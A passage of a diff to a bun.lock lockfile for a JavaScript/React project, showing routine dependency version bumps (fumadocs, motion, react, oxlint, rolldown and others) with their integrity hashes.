"react-router", "waku", "zod"] }, "sha512-8VW4aD1iG5SrCChRq84QpNyjKY69i5WfUFFgtx/LSUuX1RewWb0qps7DhKLSjOWraemhZatzsZ7iceivJmYRTg=="], - "fumadocs-mdx": ["fumadocs-mdx@14.3.1", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.1.0", "chokidar": "^5.0.0", "esbuild": "^0.28.0", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.1.1", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "picocolors": "^1.1.1", "picomatch": "^4.0.4", "tinyexec": "^1.1.1", "tinyglobby": "^0.2.16", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3", "zod": "^4.3.6" }, "peerDependencies": { "@types/mdast": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "^15.0.0 || ^16.0.0", "mdast-util-directive": "*", "next": "^15.3.0 || ^16.0.0", "react": "^19.2.0", "vite": "6.x.x || 7.x.x || 8.x.x" }, "optionalPeers": ["@types/mdast", "@types/mdx", "@types/react", "mdast-util-directive", "next", "react", "vite"], "bin": { "fumadocs-mdx": "dist/bin.js" } }, "sha512-0u2eXvYrZtrJB14y6fDhP0hhxLgmH8JOmRv6IVHALt5MqR9JIJxV5LJYlho8g8CJXRE8w12rVNFZN0rtUVAqGw=="], + "fumadocs-mdx": ["fumadocs-mdx@15.0.8", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.1.0", "chokidar": "^5.0.0", "esbuild": "^0.28.0", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.1.1", "mdast-util-mdx": "^3.0.0", "picocolors": "^1.1.1", "picomatch": "^4.0.4", "tinyexec": "^1.1.2", "tinyglobby": "^0.2.16", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3", "zod": "^4.4.3" }, "peerDependencies": { "@types/mdast": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "^16.7.0", "mdast-util-directive": "*", "next": "^15.3.0 || ^16.0.0", "react": "^19.2.0", "rolldown": "*", "vite": "7.x.x || 8.x.x" }, "optionalPeers": ["@types/mdast", "@types/mdx", "@types/react", "mdast-util-directive", "next", "react", "rolldown", "vite"], "bin": { "fumadocs-mdx": "./bin.js" } }, "sha512-CT9odtkLmpjH/DOTEW8prKY6SYzr7rmHmJj+ZBkvppPMNFstvTLvxxpY0ri8/9RPmCTZQUUMdNBxcPzhsHIcgw=="], - "fumadocs-ui": ["fumadocs-ui@16.8.4", "", { "dependencies": { "@fumadocs/tailwind": "0.0.5", "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "lucide-react": "^1.11.0", "motion": "^12.38.0", "next-themes": "^0.4.6", "react-remove-scroll": "^2.7.2", "rehype-raw": "^7.0.0", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.0.2", "tailwind-merge": "^3.5.0", "unist-util-visit": "^5.1.0" }, "peerDependencies": { "@takumi-rs/image-response": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "16.8.4", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0" }, "optionalPeers": ["@takumi-rs/image-response", "@types/mdx", "@types/react", "next"] }, "sha512-KnNtGUT54772Rhafq9qK/5oo+77MoVwR9HEEvGfXz14hsBs4XWikkOqMbgm6Jjx45rUUbVIWU9qVMernPSXG0g=="], + "fumadocs-ui": ["fumadocs-ui@16.9.1", "", { "dependencies": { "@fumadocs/tailwind": "0.0.5", "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "lucide-react": "^1.16.0", "motion": "^12.38.0", "next-themes": "^0.4.6", "react-remove-scroll": "^2.7.2", "rehype-raw": "^7.0.0", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.0.2", "tailwind-merge": "^3.6.0", "unist-util-visit": "^5.1.0" }, "peerDependencies": { "@takumi-rs/image-response": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "16.9.1", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0" }, "optionalPeers": ["@takumi-rs/image-response", "@types/mdx", "@types/react", "next"] }, "sha512-2A8wO/RuoV0eOgabKMlcjBEPQKynbE4wkxoTfAj/E6bYCid/zY3DG+hhSI1Ssen5ws/73mFPacIEBsWhdAAsnw=="], "function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="], @@ -831,7 +832,7 @@ "human-signals": ["human-signals@2.1.0", "", {}, "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="], - "i18next": ["i18next@26.0.8", "", { "peerDependencies": { "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-BRzLom0mhDhV9v0QhgUUHWQJuwFmnr1194xEcNLYD6ym8y8s542n4jXUvRLnhNTbh9PmpU6kGZamyuGHQMsGjw=="], + "i18next": ["i18next@26.2.0", "", { "peerDependencies": { "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-zwBHldHdTmwN7r6UNc7lC6GWNN+YYg3DrRSeHR5PRRBf5QnJZcYHrQc0uaU26qZeYxR7iFZD+Y315dPnKP47wA=="], "import-fresh": ["import-fresh@3.3.1", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ=="], @@ -863,7 +864,7 @@ "is-wsl": ["is-wsl@2.2.0", "", { "dependencies": { "is-docker": "^2.0.0" } }, "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww=="], - "isbot": ["isbot@5.1.39", "", {}, "sha512-obH0yYahGXdzNxo+djmHhBYThUKDkz565cxkIlt2L9hXfv1NlaLKoDBHo6KxXsYrIXx2RK3x5vY36CfZcobxEw=="], + "isbot": ["isbot@5.1.40", "", {}, "sha512-yNeeynhhtIVRBk12tBV4eHNxwB42HzR4Q3Ea7vCOiJhImGaAIdIMrbJtacQlBizGLjUPw+akkFI5Dn9T70XoVQ=="], "isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="], @@ -919,7 +920,7 @@ "lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="], - "lucide-react": ["lucide-react@1.11.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-UOhjdztXCgdBReRcIhsvz2siIBogfv/lhJEIViCpLt924dO+GDms9T7DNoucI23s6kEPpe988m5N0D2ajnzb2g=="], + "lucide-react": ["lucide-react@1.16.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-dYwyPzb4MEKpGUmNYk3WKWPnMrHs3FKM+q94kAnJrcDIqqn1hq2xY8scaS2ovsOCM5D51ey2gaRG3PBb1vgoYQ=="], "magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], @@ -1043,15 +1044,15 @@ "minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="], - "motion": ["motion@12.38.0", "", { "dependencies": { "framer-motion": "^12.38.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-uYfXzeHlgThchzwz5Te47dlv5JOUC7OB4rjJ/7XTUgtBZD8CchMN8qEJ4ZVsUmTyYA44zjV0fBwsiktRuFnn+w=="], + "motion": ["motion@12.40.0", "", { "dependencies": { "framer-motion": "^12.40.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-yjrHUrBFW6kQvjJwRsoiPSAhC5tRwRqNGJWmiJ4CrGnbKp0V88AdzkhBmDoqIsIPfarOe0Uddd37Xq43/gIocA=="], - "motion-dom": ["motion-dom@12.38.0", "", { "dependencies": { "motion-utils": "^12.36.0" } }, "sha512-pdkHLD8QYRp8VfiNLb8xIBJis1byQ9gPT3Jnh2jqfFtAsWUA3dEepDlsWe/xMpO8McV+VdpKVcp+E+TGJEtOoA=="], + "motion-dom": ["motion-dom@12.40.0", "", { "dependencies": { "motion-utils": "^12.39.0" } }, "sha512-HxU3ZaBwNPVQUBQf1xxgq+7JrPNZvjLVxgbpEZL7RrWJnsxOf0/OM+yrHG9ogLQ31Do/r57Oz2gQWPK+6q62mg=="], - "motion-utils": ["motion-utils@12.36.0", "", {}, "sha512-eHWisygbiwVvf6PZ1vhaHCLamvkSbPIeAYxWUuL3a2PD/TROgE7FvfHWTIH4vMl798QLfMw15nRqIaRDXTlYRg=="], + "motion-utils": ["motion-utils@12.39.0", "", {}, "sha512-8nadJAJjTtqRkmRF36FoJTrywK9nnFmnPwnSMyxaOCU7GDjN9RTMJIxx9De8ErM+vpPhMccr/6fo5WciyQLnMQ=="], "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], - "nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], + "nanoid": ["nanoid@3.3.12", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ=="], "negotiator": ["negotiator@0.6.4", "", {}, "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w=="], @@ -1071,9 +1072,9 @@ "oniguruma-to-es": ["oniguruma-to-es@4.3.4", "", { "dependencies": { "oniguruma-parser": "^0.12.1", "regex": "^6.0.1", "regex-recursion": "^6.0.2" } }, "sha512-3VhUGN3w2eYxnTzHn+ikMI+fp/96KoRSVK9/kMTcFqj1NRDh2IhQCKvYxDnWePKRXY/AqH+Fuiyb7VHSzBjHfA=="], - "oxfmt": ["oxfmt@0.46.0", "", { "dependencies": { "tinypool": "2.1.0" }, "optionalDependencies": { "@oxfmt/binding-android-arm-eabi": "0.46.0", "@oxfmt/binding-android-arm64": "0.46.0", "@oxfmt/binding-darwin-arm64": "0.46.0", "@oxfmt/binding-darwin-x64": "0.46.0", "@oxfmt/binding-freebsd-x64": "0.46.0", "@oxfmt/binding-linux-arm-gnueabihf": "0.46.0", "@oxfmt/binding-linux-arm-musleabihf": "0.46.0", "@oxfmt/binding-linux-arm64-gnu": "0.46.0", "@oxfmt/binding-linux-arm64-musl": "0.46.0", "@oxfmt/binding-linux-ppc64-gnu": "0.46.0", "@oxfmt/binding-linux-riscv64-gnu": "0.46.0", "@oxfmt/binding-linux-riscv64-musl": "0.46.0", "@oxfmt/binding-linux-s390x-gnu": "0.46.0", "@oxfmt/binding-linux-x64-gnu": "0.46.0", "@oxfmt/binding-linux-x64-musl": "0.46.0", "@oxfmt/binding-openharmony-arm64": "0.46.0", "@oxfmt/binding-win32-arm64-msvc": "0.46.0", "@oxfmt/binding-win32-ia32-msvc": "0.46.0", "@oxfmt/binding-win32-x64-msvc": "0.46.0" }, "bin": { "oxfmt": "bin/oxfmt" } }, "sha512-CopwJOwPAjZ9p76fCvz+mSOJTw9/NY3cSksZK3VO/bUQ8UoEcketNgUuYS0UB3p+R9XnXe7wGGXUmyFxc7QxJA=="], + "oxfmt": ["oxfmt@0.51.0", "", { "dependencies": { "tinypool": "2.1.0" }, "optionalDependencies": { "@oxfmt/binding-android-arm-eabi": "0.51.0", "@oxfmt/binding-android-arm64": "0.51.0", "@oxfmt/binding-darwin-arm64": "0.51.0", "@oxfmt/binding-darwin-x64": "0.51.0", "@oxfmt/binding-freebsd-x64": "0.51.0", "@oxfmt/binding-linux-arm-gnueabihf": "0.51.0", "@oxfmt/binding-linux-arm-musleabihf": "0.51.0", "@oxfmt/binding-linux-arm64-gnu": "0.51.0", "@oxfmt/binding-linux-arm64-musl": "0.51.0", "@oxfmt/binding-linux-ppc64-gnu": "0.51.0", "@oxfmt/binding-linux-riscv64-gnu": "0.51.0", "@oxfmt/binding-linux-riscv64-musl": "0.51.0", "@oxfmt/binding-linux-s390x-gnu": "0.51.0", "@oxfmt/binding-linux-x64-gnu": "0.51.0", "@oxfmt/binding-linux-x64-musl": "0.51.0", "@oxfmt/binding-openharmony-arm64": "0.51.0", "@oxfmt/binding-win32-arm64-msvc": "0.51.0", "@oxfmt/binding-win32-ia32-msvc": "0.51.0", "@oxfmt/binding-win32-x64-msvc": "0.51.0" }, "peerDependencies": { "svelte": "^5.0.0" }, "optionalPeers": ["svelte"], "bin": { "oxfmt": "bin/oxfmt" } }, "sha512-l/AoAnaEOV7Q5/Z9kHOMDehVJnCgYN7wRoooWCTUMBMi16BJhLZqd9cmCnwcVFfVlzkt53zK2KLPFNp8vSsoDg=="], - "oxlint": ["oxlint@1.61.0", "", { "optionalDependencies": { "@oxlint/binding-android-arm-eabi": "1.61.0", "@oxlint/binding-android-arm64": "1.61.0", "@oxlint/binding-darwin-arm64": "1.61.0", "@oxlint/binding-darwin-x64": "1.61.0", "@oxlint/binding-freebsd-x64": "1.61.0", "@oxlint/binding-linux-arm-gnueabihf": "1.61.0", "@oxlint/binding-linux-arm-musleabihf": "1.61.0", "@oxlint/binding-linux-arm64-gnu": "1.61.0", "@oxlint/binding-linux-arm64-musl": "1.61.0", "@oxlint/binding-linux-ppc64-gnu": "1.61.0", "@oxlint/binding-linux-riscv64-gnu": "1.61.0", "@oxlint/binding-linux-riscv64-musl": "1.61.0", "@oxlint/binding-linux-s390x-gnu": "1.61.0", "@oxlint/binding-linux-x64-gnu": "1.61.0", "@oxlint/binding-linux-x64-musl": "1.61.0", "@oxlint/binding-openharmony-arm64": "1.61.0", "@oxlint/binding-win32-arm64-msvc": "1.61.0", "@oxlint/binding-win32-ia32-msvc": "1.61.0", "@oxlint/binding-win32-x64-msvc": "1.61.0" }, "peerDependencies": { "oxlint-tsgolint": ">=0.18.0" }, "optionalPeers": ["oxlint-tsgolint"], "bin": { "oxlint": "bin/oxlint" } }, "sha512-ZC0ALuhDZ6ivOFG+sy0D0pEDN49EvsId98zVlmYdkcXHsEM14m/qTNUEsUpiFiCVbpIxYtVBmmLE87nsbUHohQ=="], + "oxlint": ["oxlint@1.66.0", "", { "optionalDependencies": { "@oxlint/binding-android-arm-eabi": "1.66.0", "@oxlint/binding-android-arm64": "1.66.0", "@oxlint/binding-darwin-arm64": "1.66.0", "@oxlint/binding-darwin-x64": "1.66.0", "@oxlint/binding-freebsd-x64": "1.66.0", "@oxlint/binding-linux-arm-gnueabihf": "1.66.0", "@oxlint/binding-linux-arm-musleabihf": "1.66.0", "@oxlint/binding-linux-arm64-gnu": "1.66.0", "@oxlint/binding-linux-arm64-musl": "1.66.0", "@oxlint/binding-linux-ppc64-gnu": "1.66.0", "@oxlint/binding-linux-riscv64-gnu": "1.66.0", "@oxlint/binding-linux-riscv64-musl": "1.66.0", "@oxlint/binding-linux-s390x-gnu": "1.66.0", "@oxlint/binding-linux-x64-gnu": "1.66.0", "@oxlint/binding-linux-x64-musl": "1.66.0", "@oxlint/binding-openharmony-arm64": "1.66.0", "@oxlint/binding-win32-arm64-msvc": "1.66.0", "@oxlint/binding-win32-ia32-msvc": "1.66.0", "@oxlint/binding-win32-x64-msvc": "1.66.0" }, "peerDependencies": { "oxlint-tsgolint": ">=0.22.1" }, "optionalPeers": ["oxlint-tsgolint"], "bin": { "oxlint": "bin/oxlint" } }, "sha512-N4LLxYLd94KEBqXDMDM5f+2PUpItTjDLreXe2Gn5KhjhCK4Qp2YUXaBi8Yu325ryOgKwt22m45fpD7nPOn69Yw=="], "p-map": ["p-map@7.0.4", "", {}, "sha512-tkAQEw8ysMzmkhgw8k+1U/iPhWNhykKnSk4Rd5zLoPJCuJaGRPo6YposrZgaxHKzDHdDWWZvE/Sk7hsL2X/CpQ=="], @@ -1107,7 +1108,7 @@ "pkg-types": ["pkg-types@2.3.0", "", { "dependencies": { "confbox": "^0.2.2", "exsolve": "^1.0.7", "pathe": "^2.0.3" } }, "sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig=="], - "postcss": ["postcss@8.5.10", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-pMMHxBOZKFU6HgAZ4eyGnwXF/EvPGGqUr0MnZ5+99485wwW41kW91A4LOGxSHhgugZmSChL5AlElNdwlNgcnLQ=="], + "postcss": ["postcss@8.5.15", "", { "dependencies": { "nanoid": "^3.3.12", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A=="], "prettier": ["prettier@3.7.4", "", { "bin": { "prettier": "bin/prettier.cjs" } }, "sha512-v6UNi1+3hSlVvv8fSaoUbggEM5VErKmmpGA7Pl3HF8V6uKY7rvClBOJlH6yNwQtfTueNkGVpOv/mtWL9L4bgRA=="], @@ -1123,25 +1124,25 @@ "rc": ["rc@1.2.8", "", { "dependencies": { "deep-extend": "^0.6.0", "ini": "~1.3.0", "minimist": "^1.2.0", "strip-json-comments": "~2.0.1" }, "bin": { "rc": "./cli.js" } }, "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw=="], - "react": ["react@19.2.5", "", {}, "sha512-llUJLzz1zTUBrskt2pwZgLq59AemifIftw4aB7JxOqf1HY2FDaGDxgwpAPVzHU1kdWabH7FauP4i1oEeer2WCA=="], + "react": ["react@19.2.6", "", {}, "sha512-sfWGGfavi0xr8Pg0sVsyHMAOziVYKgPLNrS7ig+ivMNb3wbCBw3KxtflsGBAwD3gYQlE/AEZsTLgToRrSCjb0Q=="], "react-copy-to-clipboard": ["react-copy-to-clipboard@5.1.1", "", { "dependencies": { "copy-to-clipboard": "^3.3.3", "prop-types": "^15.8.1" }, "peerDependencies": { "react": ">=15.3.0" } }, "sha512-s+HrzLyJBxrpGTYXF15dTgMjAJpEPZT/Yp6NytAtZMRngejxt6Pt5WrfFxLAcsqUDU6sY1Jz6tyHwIicE1U2Xg=="], "react-d3-tree": ["react-d3-tree@3.6.6", "", { "dependencies": { "@bkrem/react-transition-group": "^1.3.5", "@types/d3-hierarchy": "^1.1.8", "clone": "^2.1.1", "d3-hierarchy": "^1.1.9", "d3-selection": "^3.0.0", "d3-shape": "^1.3.7", "d3-zoom": "^3.0.0", "dequal": "^2.0.2", "uuid": "^8.3.1" }, "peerDependencies": { "react": "16.x || 17.x || 18.x || 19.x", "react-dom": "16.x || 17.x || 18.x || 19.x" } }, "sha512-E9ByUdeqvlxLlF9BSL7KWQH3ikYHtHO+g1rAPcVgj6mu92tjRUCan2AWxoD4eTSzzAATf8BZtf+CXGSoSd6ioQ=="], - "react-dom": ["react-dom@19.2.5", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.5" } }, "sha512-J5bAZz+DXMMwW/wV3xzKke59Af6CHY7G4uYLN1OvBcKEsWOs4pQExj86BBKamxl/Ik5bx9whOrvBlSDfWzgSag=="], + "react-dom": ["react-dom@19.2.6", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.6" } }, "sha512-0prMI+hvBbPjsWnxDLxlCGyM8PN6UuWjEUCYmZhO67xIV9Xasa/r/vDnq+Xyq4Lo27g8QSbO5YzARu0D1Sps3g=="], - "react-hook-form": ["react-hook-form@7.74.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-yR6wHr99p9wFv686jhRWVSFhUvDvNbdUf2dKlbno8/VKOCuoNobDGC6S+M2dua9A9Yo8vpcrp8assIYbsZCQ9g=="], + "react-hook-form": ["react-hook-form@7.76.1", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-rYM7tPiWlu3nZchkR/ex7piyzui2vFPyaLnXnI/RnblB/L4qfMmyses8llJVtF1NpE9WBBsJlGtcSZzPCXW1qQ=="], "react-hotkeys-hook": ["react-hotkeys-hook@5.2.1", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-xbKh6zJxd/vJHT4Bw4+0pBD662Fk20V+VFhLqciCg+manTVO4qlqRqiwFOYelfHN9dBvWj9vxaPkSS26ZSIJGg=="], - "react-i18next": ["react-i18next@17.0.4", "", { "dependencies": { "@babel/runtime": "^7.29.2", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 26.0.1", "react": ">= 16.8.0", "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-hQipmK4EF0y6RO6tt6WuqnmWpWYEXmQUUzecmMBuNsIgYd3smXcG4GtYPWhvgxn0pqMOItKlEO8H24HCs5hc3g=="], + "react-i18next": ["react-i18next@17.0.8", "", { "dependencies": { "@babel/runtime": "^7.29.2", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 26.2.0", "react": ">= 16.8.0", "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-0ooKbGLU8JXhe1zwpQUWIeXSgLPOfwJmgheWRIUpcoA0CpyabpGhayjdG+/eA5esC1AQ8h2jWpXjJfzQzeDOCw=="], "react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="], "react-lifecycles-compat": ["react-lifecycles-compat@3.0.4", "", {}, "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="], - "react-medium-image-zoom": ["react-medium-image-zoom@5.4.3", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-cDIwdn35fRUPsGnnj/cG6Pacll+z+Mfv6EWU2wDO5ngbZjg5uLRb2ZhEnh92ufbXCJDFvXHekb8G3+oKqUcv5g=="], + "react-medium-image-zoom": ["react-medium-image-zoom@5.4.5", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-58QSIRK6X3uw2fSTejJRnH0JuKTZl7ZJYX+sAMaYx4YTEm33gsNdnP5RuQSCnBiAvisQeErqZWAT31bR89WB6g=="], "react-refresh": ["react-refresh@0.14.2", "", {}, "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA=="], @@ -1207,7 +1208,7 @@ "rimraf": ["rimraf@6.1.3", "", { "dependencies": { "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA=="], - "rolldown": ["rolldown@1.0.0-rc.17", "", { "dependencies": { "@oxc-project/types": "=0.127.0", "@rolldown/pluginutils": "1.0.0-rc.17" }, "optionalDependencies": { "@rolldown/binding-android-arm64": "1.0.0-rc.17", "@rolldown/binding-darwin-arm64": "1.0.0-rc.17", "@rolldown/binding-darwin-x64": "1.0.0-rc.17", "@rolldown/binding-freebsd-x64": "1.0.0-rc.17", "@rolldown/binding-linux-arm-gnueabihf": "1.0.0-rc.17", "@rolldown/binding-linux-arm64-gnu": "1.0.0-rc.17", "@rolldown/binding-linux-arm64-musl": "1.0.0-rc.17", "@rolldown/binding-linux-ppc64-gnu": "1.0.0-rc.17", "@rolldown/binding-linux-s390x-gnu": "1.0.0-rc.17", "@rolldown/binding-linux-x64-gnu": "1.0.0-rc.17", "@rolldown/binding-linux-x64-musl": "1.0.0-rc.17", "@rolldown/binding-openharmony-arm64": "1.0.0-rc.17", "@rolldown/binding-wasm32-wasi": "1.0.0-rc.17", "@rolldown/binding-win32-arm64-msvc": "1.0.0-rc.17", "@rolldown/binding-win32-x64-msvc": "1.0.0-rc.17" }, "bin": { "rolldown": "bin/cli.mjs" } }, "sha512-ZrT53oAKrtA4+YtBWPQbtPOxIbVDbxT0orcYERKd63VJTF13zPcgXTvD4843L8pcsI7M6MErt8QtON6lrB9tyA=="], + "rolldown": ["rolldown@1.0.2", "", { "dependencies": { "@oxc-project/types": "=0.132.0", "@rolldown/pluginutils": "^1.0.0" }, "optionalDependencies": { "@rolldown/binding-android-arm64": "1.0.2", "@rolldown/binding-darwin-arm64": "1.0.2", "@rolldown/binding-darwin-x64": "1.0.2", "@rolldown/binding-freebsd-x64": "1.0.2", "@rolldown/binding-linux-arm-gnueabihf": "1.0.2", "@rolldown/binding-linux-arm64-gnu": "1.0.2", "@rolldown/binding-linux-arm64-musl": "1.0.2", "@rolldown/binding-linux-ppc64-gnu": "1.0.2", "@rolldown/binding-linux-s390x-gnu": "1.0.2", "@rolldown/binding-linux-x64-gnu": "1.0.2", "@rolldown/binding-linux-x64-musl": "1.0.2", "@rolldown/binding-openharmony-arm64": "1.0.2", "@rolldown/binding-wasm32-wasi": "1.0.2", "@rolldown/binding-win32-arm64-msvc": "1.0.2", "@rolldown/binding-win32-x64-msvc": "1.0.2" }, "bin": { "rolldown": "./bin/cli.mjs" } }, "sha512-oZx5zVDtVB44AW3eaifgDml1gWRDZGvjcfdxonE4swNPG98PrrXjaO/KrnUjzlMnztCCRVlUueA1kCXhARGk6g=="], "rollup": ["rollup@4.53.3", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.53.3", "@rollup/rollup-android-arm64": "4.53.3", "@rollup/rollup-darwin-arm64": "4.53.3", "@rollup/rollup-darwin-x64": "4.53.3", "@rollup/rollup-freebsd-arm64": "4.53.3", "@rollup/rollup-freebsd-x64": "4.53.3", "@rollup/rollup-linux-arm-gnueabihf": "4.53.3", "@rollup/rollup-linux-arm-musleabihf": "4.53.3", "@rollup/rollup-linux-arm64-gnu": "4.53.3", "@rollup/rollup-linux-arm64-musl": "4.53.3", "@rollup/rollup-linux-loong64-gnu": "4.53.3", "@rollup/rollup-linux-ppc64-gnu": "4.53.3", "@rollup/rollup-linux-riscv64-gnu": "4.53.3", "@rollup/rollup-linux-riscv64-musl": "4.53.3", "@rollup/rollup-linux-s390x-gnu": "4.53.3", "@rollup/rollup-linux-x64-gnu": "4.53.3", "@rollup/rollup-linux-x64-musl": "4.53.3", 